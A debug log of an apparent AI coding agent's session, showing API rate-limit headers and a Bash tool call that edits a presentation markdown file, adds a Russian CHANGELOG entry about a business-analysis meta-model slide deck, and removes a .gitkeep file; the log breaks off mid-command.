{\n[2026-09-29T08:00:05.478Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:05.486Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:05.490Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:05.500Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:05.522Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:05.529Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:05.534Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:05.539Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:05.545Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:05.550Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:05.557Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:05.562Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:05.568Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:05.573Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:05.575Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:05.580Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:05.583Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:05.585Z] [STDOUT]     \"cf-ray\": \"a42973ba589d5d90-FRA\",\n[2026-09-29T08:00:05.589Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:05.591Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:05.596Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:05.598Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:05.603Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:05 GMT\",\n[2026-09-29T08:00:05.605Z] [STDOUT]     \"request-id\": \"req_011CfXNsasnVdVAcuH3e8H25\",\n[2026-09-29T08:00:05.609Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:05.612Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:05.616Z] [STDOUT]     traceresponse: \"00-ca0bd1664fb1ebb898452e5b6eac982d-1f567eeec55234c5-01\",\n[2026-09-29T08:00:05.619Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:05.624Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:05.626Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:05.628Z] [STDOUT]   },\n[2026-09-29T08:00:05.631Z] [STDOUT]   durationMs: 1226,\n[2026-09-29T08:00:05.635Z] [STDOUT] }\n[2026-09-29T08:00:05.637Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:05.642Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:05 GMT\",\n[2026-09-29T08:00:05.644Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:05.645Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:05.648Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:05.651Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:05.653Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:05.658Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:05.660Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:05.662Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:05.665Z] [STDOUT]   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{\n[2026-09-29T08:00:14.047Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:14.051Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:14.054Z] [STDOUT]   headers: {\n[2026-09-29T08:00:14.058Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:14.100Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:14.108Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:14.113Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:14.115Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:14.119Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:14.121Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:14.124Z] [STDOUT]     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\"cf-ray\": \"a42973f20bca5d90-FRA\",\n[2026-09-29T08:00:14.179Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:14.184Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:14.191Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:14.194Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:14.196Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:13 GMT\",\n[2026-09-29T08:00:14.198Z] [STDOUT]     \"request-id\": \"req_011CfXNtF1inCpU74Rm1a1zr\",\n[2026-09-29T08:00:14.202Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:14.207Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:14.216Z] [STDOUT]     traceresponse: \"00-146db61e727431a9300a245484e6b5f5-bae8a720de6ca3f1-01\",\n[2026-09-29T08:00:14.220Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:14.223Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:14.231Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:14.233Z] [STDOUT]   },\n[2026-09-29T08:00:14.237Z] [STDOUT]   durationMs: 902,\n[2026-09-29T08:00:14.240Z] [STDOUT] }\n[2026-09-29T08:00:14.243Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:14.249Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:13 GMT\",\n[2026-09-29T08:00:14.256Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:14.263Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:14.297Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:14.313Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:14.316Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:14.332Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:14.357Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:14.378Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:14.389Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:14.395Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:14.400Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:14.409Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:14.415Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:14.425Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:14.442Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:14.460Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:14.466Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:14.470Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:14.476Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:14.482Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:14.492Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:14.501Z] [STDOUT]   \"request-id\": \"req_011CfXNtF1inCpU74Rm1a1zr\",\n[2026-09-29T08:00:14.504Z] [STDOUT]   \"traceresponse\": \"00-146db61e727431a9300a245484e6b5f5-bae8a720de6ca3f1-01\",\n[2026-09-29T08:00:14.510Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:14.513Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:14.516Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:00:14.521Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:14.524Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:14.528Z] [STDOUT]   \"cf-ray\": \"a42973f20bca5d90-FRA\",\n[2026-09-29T08:00:14.530Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:00:14.532Z] [STDOUT] [log_5021fc] response parsed {\n[2026-09-29T08:00:14.534Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:14.695Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:14.701Z] [STDOUT]   body: X {\n[2026-09-29T08:00:14.708Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:00:14.713Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:00:14.724Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:00:14.729Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:00:14.731Z] [STDOUT]     },\n[2026-09-29T08:00:14.733Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:00:14.738Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:00:14.741Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:00:14.744Z] [STDOUT]   },\n[2026-09-29T08:00:14.747Z] [STDOUT]   durationMs: 902,\n[2026-09-29T08:00:14.749Z] [STDOUT] }\n[2026-09-29T08:00:21.634Z] [INFO] {\n[2026-09-29T08:00:21.634Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"message\": {\n[2026-09-29T08:00:21.634Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"id\": \"msg_011CfXNtFZhZetnV3AtjRHLA\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"content\": [\n[2026-09-29T08:00:21.634Z] [INFO]       {\n[2026-09-29T08:00:21.634Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:00:21.634Z] [INFO]         \"id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:21.634Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:00:21.634Z] [INFO]         \"input\": {\n[2026-09-29T08:00:21.634Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(p).read()\\na='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\nrelated_issues:'\\nb='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md\\\"\\\\nrelated_issues:'\\nassert a in t; open(p,'w').write(t.replace(a,b,1))\\nc='CHANGELOG.md'; t=open(c).read()\\nentry='''- projects: [\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) (issue [#646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)) \u2014 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432: \u0448\u0430\u0431\u043b\u043e\u043d \u0438\u0437 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence (\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E) \u0438 [\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) \u0441 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb \u0438 \u00ab\u043a\u0430\u043a\u00bb, \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f. \u0421\u044e\u0436\u0435\u0442 \u2014 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 `mango_ba_prompts` (69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u00ab\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 5 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u0438 fail-closed, \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441 \u0447\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u043a \u0421\u0440\u0435\u0434\u0435 4 \u0441 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f. \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0444\u0430\u043a\u0442\u043e\u0432 `research/ba-requirements` \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u043d\u0435\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435 (\u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 MCP \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb) \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c.\\n'''\\nanchor='### Added\\\\n\\\\n'\\nassert anchor in t; open(c,'w').write(t.replace(anchor,anchor+entry,1))\\nEOF\\ngit rm -q .gitkeep; git status --short; tail -3 /tmp/tep.log\",\n[2026-09-29T08:00:21.634Z] [INFO]           \"description\": \"Add related link, CHANGELOG entry, remove .gitkeep\"\n[2026-09-29T08:00:21.634Z] [INFO]         },\n[2026-09-29T08:00:21.634Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:21.634Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:21.634Z] [INFO]         }\n[2026-09-29T08:00:21.634Z] [INFO]       }\n[2026-09-29T08:00:21.634Z] [INFO]     ],\n[2026-09-29T08:00:21.634Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:21.634Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:21.634Z] [INFO]       \"cache_creation_input_tokens\": 1031,\n[2026-09-29T08:00:21.634Z] [INFO]       \"cache_read_input_tokens\": 78068,\n[2026-09-29T08:00:21.634Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:21.634Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:21.634Z] [INFO]         \"ephemeral_1h_input_tokens\": 1031\n[2026-09-29T08:00:21.634Z] [INFO]       },\n[2026-09-29T08:00:21.634Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T08:00:21.634Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:21.634Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:21.634Z] [INFO]     },\n[2026-09-29T08:00:21.634Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:21.634Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:21.634Z] [INFO]   },\n[2026-09-29T08:00:21.634Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:21.634Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"uuid\": \"c23dd261-ee9e-489b-a288-6c4210183f2d\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:21.592Z\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"request_id\": \"req_011CfXNtF1inCpU74Rm1a1zr\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:00:21.634Z] [INFO]     \"toolu_01LjGDZtyDjizYHtmDahqXdG\": {\n[2026-09-29T08:00:21.634Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(p).read()\\na='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\nrelated_issues:'\\nb='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md\\\"\\\\nrelated_issues:'\\nassert a in t; open(p,'w').write(t.replace(a,b,1))\\nc='CHANGELOG.md'; t=open(c).read()\\nentry='''- projects: [\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) (issue [#646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)) \u2014 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432: \u0448\u0430\u0431\u043b\u043e\u043d \u0438\u0437 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence (\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E) \u0438 [\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) \u0441 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb \u0438 \u00ab\u043a\u0430\u043a\u00bb, \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f. \u0421\u044e\u0436\u0435\u0442 \u2014 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 `mango_ba_prompts` (69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u00ab\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 5 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u0438 fail-closed, \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441 \u0447\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u043a \u0421\u0440\u0435\u0434\u0435 4 \u0441 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f. \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0444\u0430\u043a\u0442\u043e\u0432 `research/ba-requirements` \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u043d\u0435\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435 (\u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 MCP \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb) 